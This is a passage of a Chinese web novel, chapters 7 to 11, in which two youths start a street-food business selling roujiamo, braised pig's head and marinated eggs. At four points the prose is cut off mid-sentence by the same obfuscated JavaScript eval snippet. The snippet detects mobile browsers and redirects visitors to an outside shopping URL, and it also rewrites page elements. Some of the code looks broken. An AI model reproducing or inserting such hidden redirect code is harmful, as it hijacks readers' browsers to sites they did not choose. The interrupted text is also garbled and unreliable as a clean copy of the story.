《在年代文里卖美食》 7. 第 7 章 城南小学和城南幼儿园毗邻。 这年头能读得起书的多是家庭条件好的，像南幼南小里面，多是罐头厂的工人子弟，家里面也相对有钱。只是南幼南小与罐头厂相隔不远，比起还在问家长要钱的小孩子，已经进厂当工人有工资拿的成年人明显更有钱，因此大多生意人喜欢去罐头厂正门那边摆摊，南幼南小这边人较少。 满打满算，也就一个卖糖糕和卖冰棍的。 迎着中午的太阳，应望和魏云舒拖着木板车到了南幼南小校门中间位置——俩校门口也就隔了三十来米，跟卖糖糕和卖冰棍的占位置完全不挤。 找好位置，两人麻溜的将摊子支起来。 卖糖糕的女人一看有人来支摊，顿时心里一咯噔，不会有人来抢生意吧？ 小孩爱甜，每天她这三十块糖糕都能卖完，要是有人看准这个机会来抢，那她的生意可就不好做了…… 正忐忑呢，女人猛地闻到一阵浓郁的香味，仔细一瞧，就见那个子矮一些的男娃娃揭开了木盖子，然后用筷子从里面夹了六块颤巍巍的肉出来，那说不出的肉香极其霸道，直叫人流口水…… 卖的什么啊，怎么这么香？ 下了大料的东西就没不香的，光闻闻就让人受不住。 卖糖糕的女人和卖冰棍的十七八岁男生都被吸引住了。 有提前等着来接孩子的家长也伸长了脖子看，使劲嗅着。 而这边，应望飞快的将肉放上案板，然后用刀将肉和青椒剁碎，再撒点芫荽小葱，最后用刀划开还热着的饼，剁好的馅料往里边一夹，一个肉夹馍就做好了。 “云舒，你的。”应望将肉夹馍递过去。 两人忙活了一早上，早餐也没吃，这会儿趁着学生还没放学，先垫垫肚子。 魏云舒也没客气。 面饼是三合面烙的，颜色偏黄，但吃起来外硬里软。最惊艳的还是里面的馅料，肥瘦相间的五花用大料炖的软烂，提前炒过的青椒咬起来带着一点颗粒感，但并没有生青椒的味道，跟肉稍微一拌，瞬间就裹挟上了肉脂的香，再加上芫荽葱花的滋味，那味道别提多美了。 虽然魏云舒早知放了香叶、八角、桂皮、小茴香等东西的肉炖出来定然不会差，却也没想到能这么好。 应望拿着自己那份肉夹馍也咬了一口，觉得滋味挺好，看来他的厨艺没退步。 “你觉得怎么样？”应望问魏云舒。 “不错。”魏云舒大口大口的吃着，满嘴的荤腥，胃口都开了。 应望这才放心，眼睛都笑眯了起来。 两人吃的太香，这会儿又是大中午的，本就饿了的人闻着味儿瞬间更饿。最后有人实在受不住，就上前来问：“你们这吃的什么？” 此时应望手里的东西还没吃完，他咽下嘴里那口，忙不迭的回答：“这是肉夹馍，北边来的吃法。” 甭管北边南边，好吃才是王道。来人已经被那肉香香迷住了，“怎么卖的？” 早上在厨房里应望和魏云舒就算过一笔账，也给肉夹馍定好了价，这会儿应望就说：“一块钱一个。” 顾客觉得贵，“这价钱可不低。” 魏云舒吃掉最后一口肉夹馍，听到这干脆利落的揭开盆上的盖，诱人的香味瞬间扑出来，接话说：“您可别嫌贵，我们这肉买的是上好的五花，加东西炖了一早上，一个肉夹馍里面添三块肉，还加辣椒芫荽香葱，味好料好，值这个钱。” 那肉也就切的女人二指宽，大半截拇指长，三块也不是很多，但架不住它香，看起来油汪汪的特勾人。 反正这顾客受不住，也不多纠缠，直接道：“给我来一个先。” 闻言，应望立刻要放下手里吃了一半的肉夹馍，但魏云舒先应了顾客一声，然后边忙边对应望说：“你先吃，我来做。” 剁肉剁青椒，这活不难，应望也就没说什么，但嘴上吃东西的速度快了。 赶紧吃了，好帮忙。 魏云舒不愧是干惯活的，动作很娴熟，加芫荽葱花的时候他还会问一句：“要芫荽葱花吗？”有些人不爱吃这些。 那顾客：“要。” 魏云舒：“好。” 于是，就给加了。 之后装进油纸袋里递过去，“承蒙惠顾，一块钱。” 顾客掏钱。 根本没来得及走远，先咬一口尝尝味，之后是连话都顾不上说，抬手给了个大拇指。 光闻着味儿就香的不行了，在案板上剁小的时候油滋滋的更吸引人，没成想吃到嘴里才是最爽的。 满嘴的肉味儿，哪儿能不好吃？！ 贵是贵了点，但值啊！ “再给我装一个，等会儿给我孙子吃。”他嘴里吃着自己的那份，还不忘即将放学的大孙子。 魏云舒自然接着做。 正在校门口等接孩子的家长们原本想着等一个吃螃蟹的人过来后问问具体情况，没成想人家当场就吃上了，还又给掏了一次钱！ 大家不由对视一眼，怎么回事？东西这么好？ “这卖的什么？” “这也太香了。” “问问去？” 有性急等不了的人抬步人过去了。 “老李头，你这吃的什么，多少钱？味儿咋样？”一个老头问。 老李头、也就是第一位顾客，他手里的肉夹馍还剩一半，笑容满面的，“人家的生意，你问人老板去，但东西是真香。” 边上人齐刷刷的看向老板。 应望这会儿也吃完了，听见人问便答道：“我们卖的是肉夹馍，一块钱一个。” 这时，第二个肉夹馍做好了。 饼子有男人巴掌大、一指厚，里边夹着切碎的肉和青椒芫荽香葱，上边还浇了匙料汁，不用想，那沾了汁的面饼吃起来肯定更香。而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477484|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么大一个，小孩吃肯定能饱。 一块钱一个，有饼有肉，不算太贵。 “给我一个尝尝。” “也给我来一个。” 不差钱的当即就点上了，想先尝尝味儿再说。 等他们尝到味儿，当即大手一挥，又给点了至少一个。 难怪老李头摊子都不离开就掏钱买了第二个，原来这么好吃！ 魏云舒接了单，麻溜的给做。 应望则在一旁收钱。 国人爱扎堆，来南幼接小孩的家长见不少人围着板车，也上来看热闹，嘴里纷纷询问怎么回事，等得了话，也忍不住泛起嘀咕排队。 当然，最重要的是盆里面飘出来的香味太浓郁了，肚子本来就饿了，这会儿哪儿还能走得动道？ 而应望和魏云舒原本是要做学生的生意，结果没想到，拢共十三个饼，除了他们俩一人一个吃的，剩下十一个连学生还没放学就卖完了。 应望看着排队的人，扬声说：“肉夹馍卖完了，都别排了。” 没买上的：？？？ 这就没了？！ 有人急了，“不是才刚卖上么，怎么就没了？” 应望解释，“不好意思，肉夹馍是北边的吃法，我们第一次来这儿卖，也不知道大家喜不喜欢，就准备的少了点儿，还请见谅。” 那人不死心，“真没了？” “没了，请下回赶早。”为免大家不信，应望还将装饼的篮子布揭开，“这两个是他们俩的，剩下都没了。” 排前头的两人心里舒服，幸好他们速度快！不然都轮不上！ 东西真没了，说什么都没用。 原本一众只是来看热闹的人这会儿是真情实感的想吃了，这种心情就类似于“我可以不要，但你不能没有”“想买竟然还买不到，那我倒要看看这东西究竟多好”，然后抓心挠肺的想要尝尝。 “明儿还来卖吧？” “来。” “记得多准备点，今儿这么多人没买到呢。” “尽量尽量。” …… 应付半天，加上学校放学了，着急接孩子的人这才离开摊子，转身涌到校门口去，唯恐自家娃娃找不到自己哭。 这厢，应望也松了口气，然后看向魏云舒，双眼发亮的说：“都卖完了！” 魏云舒也高兴，“你手艺好，大家都喜欢。” 应望兴奋，“主要是吃法新鲜，还有肉讨巧，大家才都来买。” 魏云舒：“总之顾客喜欢。” 应望心想，对，顾客喜欢！ 虽然东西不够卖少赚了些钱很可惜，但却将名气小小的打了出去，明儿他们再来卖就不怕没人肯消费了！ 想到这，应望心里美滋滋的。 嘿嘿嘿。 而隔壁卖糖糕的和卖冰棍的则是目瞪口呆，这才多久，就卖完收摊了？！ 8. 第 8 章 肉夹馍的饼卖完了，但盆里的肉还剩的有，汤汁沉底，呈金褐色，看着很诱人。青椒芫荽小葱也都还剩下些。 基于此，应望就说：“等会儿我们擀个面吃？正好还剩下些肉，做个卤子拌上。你觉得怎么样？” 魏云舒觉得行。 现在已经有做好的面条卖，价钱也还行，但肯定比不上自己用面擀的面条便宜，何况手擀的面更筋道。 当下他们缺钱，能省则省。 板车上放着锅碗瓢盆刀具案板等一系列东西，因为害怕生意不好战线拉长饼子凉了，还放的有木柴火盆，这么多东西放着，也不好拉着到处去买东西，两人干脆分路。 魏云舒将那车东西带回去，应望则去购物。 应望想着要是还有不错的肉，可以买来做上下午再去卖一卖，只要能卖出去那怎么都不会亏。只可惜肉卖的快，去了肉摊根本没好肉卖。倒是还有猪头、猪蹄、猪尾巴这些。 应望原本没打算买，只随口问了句，“老板，猪头猪蹄猪尾巴怎么卖的？” 肉摊老板回：“猪头猪尾巴五角，猪蹄一块五。” 应望惊了。 猪头竟然只要五毛钱一斤！这可比五花肉便宜多了！ 当然，冷静下来之后应望也明白过来为什么猪头会便宜那么多。第一是因为它难洗难处理，之后煮熟也比较费功夫；第二就是因为猪头上的骨头比较大，它压秤，跟五花这样的纯肉完全不同，要是价格卖的跟肉差不多，那根本不会有人买。 你说猪头肉跟五花前夹这些肉口感不同？这贫穷的年代里谁在乎啊！ 猪头肉应望会吃也会做，听到这个价格脑子里瞬间浮现出了很多吃法，于是他直接叫肉摊老板给自己称了。 一个猪头，没燎毛也没少东西，总共称了近十四斤，外加一根猪尾巴，老板收他七块钱。 ——今早挣的，瞬间没了一大半。 不过应望只心疼了片刻，之后又火热起来。 他对自己的猪头肉有信心！ 怀抱着这样的心态，应望带着自己买的大猪头回家了。 家里，魏云舒已经将东西都收拾好了，此时正在擀面条。看见应望带着那么大个猪头回来，他惊了下，“怎么买了猪头？” “我想做卤肉。”应望放下猪头，双眼发亮，“猪头竟然只要五毛钱一斤，这个猪头加一根猪尾巴花了七块。我打算现在把它洗了炖上，下午的时候去罐头厂门口卖。” 魏云舒对猪头的价格倒也不惊讶，只是问：“能炖熟吗？” 应望说：“应该可以。” “那就做。”魏云舒很支持，“甚至还可以加点鸡蛋素菜之类的进去。” “没错！”应望双眼发亮，“不过我们才在试做，步子还是不宜迈的过大，先试试卤猪头。” 魏云舒手下不停的擀着面条，“先吃饭，吃完洗了炖。” 应望自然支持。 厨房里，张奶奶祖孙已经吃过粥洗好了碗，应望进去将灶烧上，然后锅里加水，预备着煮面。 等魏云舒的面擀好端到厨房，锅里的水也烧开了，魏云舒下面，应望则将剩下的肉全部剁碎放碗里，之后捞面，浇上盆里剩下的汤汁，淋下一勺锅里滚烫的面汤，已经凉掉的肉与汤汁瞬间遇热化冻，浓烈的香味迸发出来，最后撒上芫荽葱花，一大碗热气腾腾、香味扑鼻的手擀面就做好了。 厨房里很热，面又热乎乎的，干脆端到客厅里吃。 别说，手擀的面就是筋道，加上大料炖过的汤与肉相拌，滋味是真不错。 “要是用骨头炖的汤，再加一点辣椒，那味道肯定更好。”应望感叹着说。 魏云舒说：“现在也不错。” 应望：“这倒是。” 之前说他是吃糠咽菜都不为过，哪里能沾到点荤腥。 现在有这肉酱面吃，已经非常棒了！ 呼啦啦吃过面，连汤汁都喝干净后，应望可以说是肚皮溜圆，分外满足。此时如果再睡上个午觉，那就更完美了。 但睡是不可能睡的，得赶紧把猪头下锅。 猪头上的毛很多，要先将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477485|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛燎干净，不然肉吃起来会有一股很浓郁的腥臊味儿，别人一吃就知道是东西没处理干净，肯定会影响生意。 没有喷灯烙铁，但张奶奶家的火钳是铁的，烧红之后也可以用来燎猪毛。虽然速度慢，但有总比没有好。 猪毛燎干净，清洗除淋巴，再用斧头将之劈成几瓣，之后下锅焯水。 用姜、葱结、酒等去腥的东西焯过水之后，重新烧水，加盐、酱油、八角、香叶、桂皮、甘草、白蔻、红蔻等香料入锅炖煮。 也幸好张奶奶家用的是土灶，锅也大，不然这一个猪头还真放不进去。 上了锅，就不需要一直在厨房看着了，只需要时不时进去添柴就行。 中午太阳晒，厨房里一直烧着火又很热，从厨房出来，应望已经是一身的汗。正用手扇着风，一不留神就对上一双眼，是张奶奶的孙女刘芳。 对方也看到了他，却“嗖”一下将身子缩回了屋。 应望：？ 他长得很可怕？ 当事人不在，应望纵然疑惑，却也就没再多管。不乐意在太阳底下晒油，径直往客厅去。 “这卤猪头你打算怎么卖？”魏云舒问他。 应望说：“等煮熟之后看看出肉情况了再定价格。” 魏云舒嗯了声，却又说：“我是问你你打算就那么切了卖，还是想自己调个辣椒酱汁卖凉拌好的？” 应望被问住了。 他犹豫片刻，才说：“就那么切了卖吧，我们现在锅碗瓢盆都不够，要是再凉拌，那就得多买几种辣椒、醋、花椒之类的，还得买些瓶瓶罐罐来装辣椒油和各种佐料，太麻烦了。如果别人真想凉拌着吃，他们就自己拿回去拌，爱放什么调料放什么调料。” 魏云舒想了想，“这样也行，现在板车不方便，摆太多东西也不好弄。等之后我们买个三轮车、或者有个店面之后就比较方便了。” 应望很赞同，“那个时候我们还可以丰富丰富产品，多挣点。” 魏云舒觉得这计划可行。 两人相视一笑。 9. 第 9 章 下午，魏云舒又出去买了一趟东西，最主要的是一个大陶罐、塑料袋和一把小秤。陶罐是用来装卤汁卤肉的，如果不是不锈钢制的盆罐贵，用不锈钢的是最好的，现在只能退而求其次。塑料袋是用来装卤肉的，秤则是用来称肉。 应望在忙活锅里。 猪头已经完全煮熟并剔了骨，近十四斤的生猪头煮熟剔骨之后得了七斤的肉，算来正好是一半的出肉率。 应望算了一笔账。这生猪头七块钱买的，加上各种香料、柴火、塑料袋等之类的东西，本金大概在八块多，那么，卤猪头肉卖两块五一斤比较合适。一是因为五花这样的好肉就是这个价格，不能高出这个价，不然不好卖了；第二就是这个定价让他刚好可以挣一倍的利润，不高不低，算是很合适。 算好账，把卤肉一股脑的倒进洗干净的大陶罐里，将厨房打扫干净，再带上该带的东西，由魏云舒拉着板车，两人往罐头厂门口赶。 罐头厂门前果然比南幼南小那边热闹多了，卖发糕的、卖面的、卖粉的、卖汤圆的、卖冰棍的、卖油炸果子等吃食的，摆地摊卖衣服的、布料的，卖各种青蛙、发条等小玩意儿的，各式各样，热闹纷呈。 好位置早就被人家占完了，应望前后左右看了一圈，只得选了一个角落。 魏云舒拉着板车过去，将摊子支起来。 现在还不到罐头厂工人下班的时间，周围的摊贩基本都没什么生意，挨的近的就聚一块聊天。等过了这个闲儿，之后就得忙起来，没空多说话。 像这样摆摊做小生意，自改革开放后那是层出不穷，隔三差五的这罐头厂门口就有新面孔出现。可这做生意，也不是什么人都做得下去的，想要长久不断的做下去，没点本事也不行。 应望魏云舒两人占的位置不如何，同行有人看见了有人没看见，即便是看见的人也没怎么当回事。还是那句话，做生意嘛，也不是谁都行，大家各凭本事。 于是，就在这种彼此相安无事的间隙里，罐头厂工人下班了。 霎时间，原先还聚在一块聊天的摊贩们全忙活了起来，聚精会神的等着打这场仗、赚这波钱。 “肉丝面，好吃的肉丝面！” “油炸果子，香喷喷的油炸果子！” “白面包子大馒头嘞！” “广省来的青蛙发条绣花针，用过的都说好！” “……” 周围接连的吆喝起来，应望和魏云舒也不肯落后。应望掀开盖在陶罐上的盖子，一股浓郁的卤肉香瞬间汹涌而出，引的周围摊贩纷纷侧目。 什么味儿这么香？！ 有生意的在心里头嘀咕，没生意的则伸长了脖子看。 魏云舒在放案板刀具，应望见一众打量的目光，张开嘴也吆喝起来，“卤肉！才出锅的香喷喷卤肉！走一走，看一看嘞！” 魏云舒惊了下，没想到应望这么放得开，说吆喝就吆喝。 周围摊贩则一副“原来如此”的模样，隔壁这新来的原来是在卖卤肉啊！ 这么香，味道应该不差？ 这么七七八八的想着，嘴上却不遑多让，吆喝的声音更大了。 应望自知自己所在的位置不好，也吆喝不过别人，因此没再不顾嗓子的大喊，依旧保持着原有的节奏。 他靠的还是卤肉的香味。 路过卤肉摊的人都知道，卤肉的味道闻起来那真是要多香有多香，简直香飘十里。只要能让这味儿传出去，被吸引的自然肯过来。 陶敏慧就是其中之一。 陶敏慧是白云市本地人，家里算上自己是四职工，不论娘家婆家生活条件都不差。她丈夫是白云师专的老师，分得有房子，夫妻俩平时都是住那边，离罐头厂也不是很远。生活这么舒适，唯一不如意的就是她做饭手艺不咋样，倒不是不会，可真算不上好吃，也就勉勉强强能入口。因此陶敏慧不怎么爱自己做菜，多是用粥就咸菜、鸡蛋青菜之类的煮面条。多的不说，是真的有点吃腻了。 还没下班的时候她就琢磨着，要不今天晚上买点什么回去吃吧？也省的开火了。 这么想着，陶敏慧在罐头厂门口的摊贩中间逛了起来，接着她就闻到了一股浓郁的香味。 这味道，之前没有过啊。 陶敏慧好奇了，脚下顺着香味飘过来的位置走了过去。 却见一辆木板车前，一个十七八岁的少年人正操着刀在案板上切着一块金黄色的肉，在他旁边是稍矮一些的少年，他手里正拿着个小秤称一块同样颜色的肉。 陶敏慧认真分辨了下，秤里面的倒像是一块熟的猪头肉。 有人卖做熟了的猪头肉？ 陶敏慧心中惊讶，很快走到了摊子前。靠近了，她才发现勾的她走过来的香味就是从那个大陶罐里散发出来的，越闻越香。 周围只有几个人在围着买，陶敏慧不由得问了，“这卖的什么东西？” 边上一位穿着罐头厂工人服装的女人回答她，“卤猪头肉。” 陶敏慧说：“闻着还挺香的。” 那女人说：“要不是冲着这个味儿，我还不买呢。” 陶敏慧心想可不是嘛，要不是冲这股香味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477486|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她也不会被吸引到这里来。不过，她还有些犹豫，“猪头……这洗干净了吗？做熟了吗？” 那女人说：“干净的，也熟了，味儿也好。” 陶敏慧问：“你怎么知道？” “刚刚我也不信，那小兄弟就切了小块我尝味。”那女人说着嘴里又有唾液分泌，觉得有点馋，“要不是尝过这卤猪头的味道，我也不会一买两斤。” 看那女人又眼巴巴等待的模样，陶敏慧心里已经信了七八分，继续问：“这肉怎么卖的？” 那女人说：“两块五一斤。” 陶敏慧就在想，这个价赶得上五花肉了，可真不算便宜。不过这味道这么香，里面肯定放了不少的调味料，人家这也是需要钱买的，何况生肉煮熟之后会掉秤，熟食一斤肯定比生肉一斤多一些…… 正思量着，负责给秤肉的应望已经在问了，“这位姐，你想要瘦一点的还是肥一点的，我给你捞一捞。” 还想跟陶敏慧说话的女人立刻把话咽了回去，张嘴就答：“要肥的，越肥越好！” 这年头，大家都喜欢吃肥肉，因为上面的脂肪油水多。 陶敏慧听到这心思一动，还能选肥瘦，这小伙子做生意倒是比很多人实在。 魏云舒负责切片装袋，应望则帮着秤重收钱。 一份切好，应望给第二位顾客递过去，“承蒙惠顾，两块五。” 顾客掏钱。 应望边收边说：“这卤肉已经是做熟了的，拿回去之后可以直接吃了。当然，如果不嫌麻烦，还可以放点姜蒜末、辣椒、酱油、醋、芫荽、葱花之类拌一拌，用来就米饭、吃面条、下酒都不错。” 得了个更好吃的办法，顾客更是满意，掏钱后喜气洋洋的走了。 两块五一斤，刚刚那人买的就是一斤，看袋子里面的东西，能装一大碗了。到时候再随便炒个青菜，今天晚上那顿也够了。 陶敏慧正这么想着，就听见人家老板问：“这位姐，买卤肉吗？” 陶敏慧回神，“给我来一斤。” 应望例行询问，“要瘦点的还是肥点的？” 陶敏慧想了想，“肥瘦相间的有吗？” 应望明白了，给出建议，“要不你秤个猪耳朵？虽然没有多少瘦肉，但有子骨，吃起来也不油腻，回去放点辣椒醋葱花之类的拌一拌更香。” 陶敏慧看着应望夹出来的一只猪耳朵，不仅看着金黄漂亮，上面还冒着热气，一只切了也能装一碗。 “行，给我秤上。”陶敏慧说。 应望应了声就麻利的动起手来。 10. 第 10 章 第一天卖卤肉，生意不算好也不算差，霞光漫天的时候东西就卖光了。 周围的摊贩还有生意，但应望和魏云舒两人已经收拾着东西回了家。 回家第一件事——数钱。 今天早上卖肉夹馍挣了十一块，买猪头肉用掉七块，余下四块钱。卤猪头肉两块五一斤，一共是七斤的肉，收入十七块五，所以兜里应该是二十一块五，倒是对得上。 再刨除掉两斤五花肉，面粉、香料、糖、葱、姜、蒜、芫荽、柴火等消耗品的成本，利润应该有十三块左右。 “还不错。”应望算明白之后说。 魏云舒说：“确实不错。” 他记得很清楚，上辈子因为刚从小树村逃出来什么都不懂，却因为迫切的需要钱只能去工地里搬砖和沙挑泥巴，一整天干下来满身疲惫、往床上一躺就能立刻睡着，就这么下力气干，一天工资也才四块钱。而就是这么辛苦的体力活也并不好找，好多人还找不到活干。 结果现在摆摊一天相当于之前干的三天收入，就算是两个人一起干，那工资也超了。 果然，八九十年代遍地黄金，自己当老板挣的才是最多的。 应望则是信心倍增，忍不住提议，“我们明天买点鸡蛋回来吧，早上炖的肉里面可以放一点，下午卤猪头的时候也可以一块卤，这样多少又能添一点收入。” 魏云舒自然没有意见。 商量好，两人才去收拾院子里板车上的东西，用过的陶罐案板刀具等该洗的洗、该涮的涮，晾干之后明天还得用。 就在两人忙碌之际，带着卤肉回去的陶敏慧已经将米饭煮熟了，顺道还炒了个青菜。 本来还想听从应望的建议放点辣椒姜蒜葱花之类的拌一拌，可再一想自己做饭的手艺，又收回了蠢蠢欲动的想法。 算了，卤猪耳朵这样就已经很好吃了，还是不要乱加东西，省的弄巧成拙。 就这么的，一荤一素上了桌。 张宥良拿着一沓作业本回家，洗过手坐下就看到饭桌上摆的东西，不免问：“今儿买了个什么新鲜东西回来？” 陶敏慧坐下，“卤猪头肉，你尝尝。” 那碗卤猪耳朵呈金黄色，盛放在白瓷的碗里看着很漂亮，也挺有食欲。张宥良拿起筷子夹了一片，牙齿咬下去先碰到了子骨，再一嚼口感软糯又带一点子骨特有的嘎嘣脆，当然，最令人惊艳的还是味道，不仅不腥膻，还带有大料与油脂混合后特有的馨香，很好吃。 张宥良不禁说：“比我在国营饭店吃过的猪耳朵也不差了。” 回家后没忍住已经尝过味的陶敏慧与有荣焉，“那当然，我一下班就闻到了这个味儿，不好吃我还不买呢。” 张宥良笑起来，“怎么卖的？” “两块五一斤。”陶敏慧说：“他们卖的就是卤猪头肉，不过我不怎么爱吃全肥的，就让老板给我挑了肥瘦参半的，然后选了只猪耳朵。” 张宥良是个本地胃，爱吃辣，“这猪耳朵吃着确实不错，就是少了点辣。” 陶敏慧又将应望说的凉拌之法说一遍，末了又说：“……不过我的手艺你也清楚，我想着还是不要乱加东西了，就没拌。” 张宥良不以为意，“这有什么，明天再买点卤猪头肉回来，我下班回来拌。” 陶敏慧笑着应，“那行，我明天中午下班了就去看看。” 张宥良说：“那我尽量早点回来。” …… 应望和魏云舒暂时不知这些。 第二天清早，魏云舒先起床，穿上衣服洗漱完毕后拿着钱出去买肉买蛋买青椒，至于芫荽和葱已经跟张奶奶说好了，在她的院子里摘，之后算钱。 买鸡蛋的时候魏云舒耍了个心眼，专挑小的买。两块三一斤的鸡蛋，一斤能有八到九个，两斤鸡蛋买下来共十七个。 迎着清晨的凉爽风回到家，应望正蹲在院子里洗漱。看到他回来，应望就说：“怎么不叫我？” 魏云舒答：“我拿得动，没必要叫你，你多睡会儿。” 应望看他手里的东西，的确拿得动，也就没再说什么。 洗漱好，两人开始忙活。 魏云舒先去和面，应望就去厨房烧火洗肉，之后切块炒糖色开炖。他这边忙活完，魏云舒的面也和好了，等着醒发就行。 院子里，魏云舒又将不知道从哪寻摸来的破火盆烧起来，然后放上带了一路的小锅，加水煮了十个鸡蛋。 鸡蛋煮熟，之后剥了壳放进炖肉的锅里一块焖煮，等肉炖熟，鸡蛋也能沾染上各色大料调味及油脂的香。这是不怎么正宗的卤蛋，但绝对比白水蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477487|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好吃。 这天中午，当两人拉着板车到南幼南小校门口的时候，摊子还没支起来顾客就围了上来。 “今天准备了多少肉夹馍，够卖吧？”有顾客问。 应望手上边忙活边答：“准备了十六个面饼，以及一样新品。” 虽然昨天那么多人嚷嚷着没买到、叫他们今天多准备点，但应望知道那是顾客“得不到的永远在骚动”的心态在作怪，自己还是不能全听他们的。 因此也就多准备了五个，顺带想将十个卤鸡蛋卖完。 而果然，虽然有几个顾客对准备的这点数量不满意，但更多人则是被新品吸引了过去，纷纷询问是什么东西。 应望自然为其解惑，“跟肉一起炖卤出来的卤蛋，可以就单吃，也可以切小了和肉一块夹在肉夹馍里面，全凭大家各自喜欢。” 听说是鸡蛋，很多人都失望了，这算什么新鲜的？ 也有人问：“怎么卖的？” 应望：“五毛钱一个。” 这是公道价。现在不论是国营饭店还是私人饭店、亦或是小摊上鸡蛋都是卖五毛钱，白水蛋、煎鸡蛋都一个价。所以现在应望卤鸡蛋卖五毛，那也是市场价。 鸡蛋和肉都放在盆里，掀开盆上的锅盖夹肉时一眼就能看到里面被浸的油亮金黄的圆滚滚鸡蛋，原本没咋看上的人这会儿先是呼吸一顿，接着就瞪大了眼。 嘿，这个颜色的鸡蛋还没见过嘞！看起来还不错诶。 转而又想，跟肉一块炖出来的鸡蛋，那味道能不好吗？估计还能有肉味！ 这么想着，原本没想买鸡蛋的人这下也不吝那五毛钱，纷纷要了一个。当然，有想单吃的，也有想切碎了跟肉一起夹在肉夹馍里面的，还有人嫌弃肉夹馍略贵，干脆改买鸡蛋去哄南幼南小里读书的儿女或子孙。 总之，十个卤蛋没一会儿就卖光了。 以至于后面来的人只能过个耳瘾，听买了的人说那个卤蛋是多么多么的好吃。 来晚的人：“……” “老板，下回多做点卤蛋。” “行。”应望也没想到卤蛋生意这么好，比肉夹馍受欢迎这么多，“肉夹馍还有，要吗？” 顾客：“当然要，给我来俩！” 既然卤蛋买不到，那就多买个肉夹馍吃吧！ 11. 第 11 章 肉夹馍很快卖完，应望和魏云舒又马不停蹄的去菜市场买猪头，因为中午卤蛋卖的好，干脆又买了一斤鸡蛋，然后带着东西回家，一通清洗砍剁，可算是将猪头下了锅。 到这会儿，两人还没吃早饭。 肚子已经饿的咕咕叫，应望和魏云舒先每人剥了两个鸡蛋填填肚子，这才忙活起中午吃饭的事情来。 天天吃面不是个事，应望想了想，干脆将蒸笼架上，用炖猪头的火把米饭蒸熟。 至于菜的话就先用小锅炒一炒，倒也能凑合一顿。 不过…… “以后我们每天早上多烙点饼，然后自己先弄个肉夹馍吃了再去卖吧？”应望跟魏云舒商量着，不然天天忙到中午再吃饭，长此以往铁打的身体也受不住。 魏云舒对此表示同意，还说：“卤肉卤蛋虽然是做来卖的，但自己不是不能吃，得先保证自己的身体健康。” 应望很赞同这个话。 他们每天忙的团团转是为什么？不就是想挣钱吗？而挣钱是为了什么？当然是为了过好日子！ 要是为了多挣点而省吃俭用、吃糠咽菜，那就本末倒置了。 中午这顿饭很快，因为都饿了，每人干了三大碗，菜也都吃光了。 吃过碗，收拾过碗筷，正午太阳正晒，是最适合睡觉的。只可惜厨房里炖着肉，必须得看火。 魏云舒瞥见应望不着痕迹的打了个哈欠，就说：“你去睡一个小时吧。” 应望摇头，“算了，我把昨天换下来的衣服洗了，动起来就不困了。” “睡吧，下午还得忙呢，强撑着不是办法。”顿了顿，魏云舒又说：“你先睡，之后换我歇一歇。” 这么一说，应望心动了，他说：“那你记得喊我。” 魏云舒答应下来。 大清早就起了床，一直不停歇的忙着，应望是真的瞌睡了。跟魏云舒说好之后个没再迟疑，转身回屋躺上床，没一会儿就睡熟了。 魏云舒又去看了看灶里的柴火，然后进屋将脏衣服抱了出去，打水开洗。 于是，等应望睡醒推开门出来的时候，就看到自己的衣服晾在院子里。 第一眼，他以为是自己看错了，等再眨眨眼看清之后…… “云舒，你把我衣服洗了？”应望快步跑到厨房，对正掀锅盖用筷子试肉的魏云舒问。 “闲的没事干就洗了。”魏云舒说。 应望挠挠脸，莫名有点羞耻，“我的衣服，我自己洗就是了。” “顺手的事。”魏云舒不放心上，放下手里锅盖，“筷子能插进去了，是熟了吧。” 应望走进来，“熟了。” 魏云舒：“那我把骨头剔了。” 应望看着魏云舒麻溜的动作，才突然反应过来，要是睡一个小时，不至于已经能顺滑剔骨了吧？ “你这人怎么说话不算话呢。”应望咕哝。 魏云舒没听清，“什么？” 应望正正神，“我说下次你按时喊我起来，现在你都没时间休息了。” 